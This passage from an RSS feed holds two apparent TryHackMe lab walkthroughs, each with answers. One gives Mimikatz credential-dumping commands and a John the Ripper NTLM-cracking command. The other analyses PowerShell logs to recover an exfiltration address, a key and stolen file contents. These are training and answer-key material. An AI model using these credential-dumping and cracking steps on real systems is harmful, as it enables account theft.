            <pubDate>Mon, 09 May 2022 14:20:07 GMT</pubDate>
            <atom:updated>2022-05-09T14:20:07.501Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psaTaSfd9sQyajFeYTLO-w.png" /></figure><ol><li>What is the username of the other user on the system?</li></ol><p><strong>ANS: emily</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: .\mimikatz.exe</strong></p><p><strong>Step 2: privilege::debug</strong></p><p><strong>Step 3: sekurlsa::logonpasswords</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*IDuBWtlCc-yKt4Dh6CVwrQ.png" /></figure><p>2. What is the NTLM hash of this user?</p><p><strong>ANS: 8af326aa4850225b75c592d4ce19ccf5</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Search for <strong>NTLM</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*0tHO7AmcUoxkSpvS_kWrKw.png" /></figure><p>3. What is the password for this user?</p><p><strong>ANS: 1234567890</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Go to <strong>Kali</strong>, <strong>paste</strong> the <strong>NTLM hash</strong> and <strong>save as hash.txt</strong></p><p><strong>Step 2: john — format=NT -w=/usr/share/wordlists/rockyou.txt hash.txt — pot=output.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*33jOQcV7vuOsvTB7oxL0-w.png" /></figure><p><strong>*****************THANK YOU****KEEP LEARNING ******************</strong></p><p><strong>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED</strong></p><p><strong>FOLLOW MY PROFILE FOR MORE WRITE-UPS</strong></p><p><strong>****************************PEACE********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a33578adb07a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: [Day 23] Blue Teaming PowershELlF Magic]]></title>
            <link>https://medium.com/@mathen/tryhackme-day-23-blue-teaming-powershellf-magic-20073cca7da8?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/20073cca7da8</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Fri, 06 May 2022 10:10:26 GMT</pubDate>
            <atom:updated>2022-05-06T10:10:26.071Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psaTaSfd9sQyajFeYTLO-w.png" /></figure><ol><li>What command was executed as Elf McNealy to add a new user to the machine?</li></ol><p><strong>ANS: Invoke-Nightmare</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: Open FullViewLogEvent</strong></p><p><strong>Step 2:</strong> Open <strong>Advanced Options</strong> , Fill this details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*BrO3Bd84M9hCvSiEDM-Ykw.png" /></figure><p><strong>Step 3:</strong> Check for each file, [Hint: It`s in <strong>Record ID: 707 </strong>]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*cplZ9xGTBCzEGWUnmocnIA.png" /></figure><p>2. What user executed the PowerShell file to send the password.txt file from the administrator&#39;s desktop to a remote server?</p><p><strong>ANS: adm1n</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> It`s in <strong>Record ID: 707 Log file</strong>, Check for the answers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*sECPMkEztWYYEFINflxsgw.png" /></figure><p>3. What was the IP address of the remote server? What was the port used for the remote connection? (format: IP,Port)</p><p><strong>ANS: 10.10.148.96,4321</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Check for each file, [Hint: It`s in <strong>Record ID: 703</strong> ]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*t5lDL5Nel4UkcJiDmwKfEg.png" /></figure><p>4. What was the encryption key used to encrypt the contents of the text file sent to the remote server?</p><p><strong>ANS: j3pn50vkw21hhurbqmxjlpmo9doiukyb</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1: </strong>It`s in Record ID: 703 Log file, Check for the answers<strong> [Hint : start with $key]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*--ZDKfkqXiys-cxXZZQYPQ.png" /></figure><p>5. What application was used to delete the password.txt file?</p><p><strong>ANS: sdelete.exe</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> It`s in <strong>Record ID: 748 Log file</strong>, Check for the answers [<strong>Hint : Check any .exe file relate to delete</strong>]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*OEIrpOJVdPJGi2_RQ9VoLA.png" /></figure><p>6. What is the date and timestamp the logs show that password.txt was deleted? (format: MM/DD/YYYY H:MM:SS PM)</p><p><strong>ANS: 11/11/2021 7:29:27 PM</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Open<strong> Advanced Options </strong>, Fill this details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*3ofoiZa-3RBojQ39TBqYWg.png" /></figure><p><strong>Step 2:</strong> Check each file for <strong>Event Time</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*rd8iLbpttd79FWOVBgqvqQ.png" /></figure><p>7. What were the contents of the deleted password.txt file?</p><p><strong>ANS: Mission Control: letitsnowletitsnowletitsnow</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Open Advanced Options , Fill this details</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*BrO3Bd84M9hCvSiEDM-Ykw.png" /></figure><p><strong>Step 2:</strong> It`s in<strong> Record ID: 753 Log file</strong>, Check for the answers [<strong>Hint : Copy the value strings</strong> ]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*5UlD8SxWKtGZHztY02Hc1A.png" /></figure><p><strong>Step 3: Right-Click -&gt; Edit on decryptor -&gt; Paste the code</strong></p><p><strong>Step 4: Paste the Question 4 Code</strong> in the<strong> GetBytes</strong> Column</p><p><strong>Step 5: Run the Script</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kyZINfuhjk_ZpXWjySZNw.png" /></figure><p><strong>*****************THANK YOU****KEEP LEARNING ******************</strong></p><p><strong>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED</strong></p><p><strong>FOLLOW MY PROFILE FOR MORE WRITE-UPS</strong></p><p><strong>****************************PEACE********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20073cca7da8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>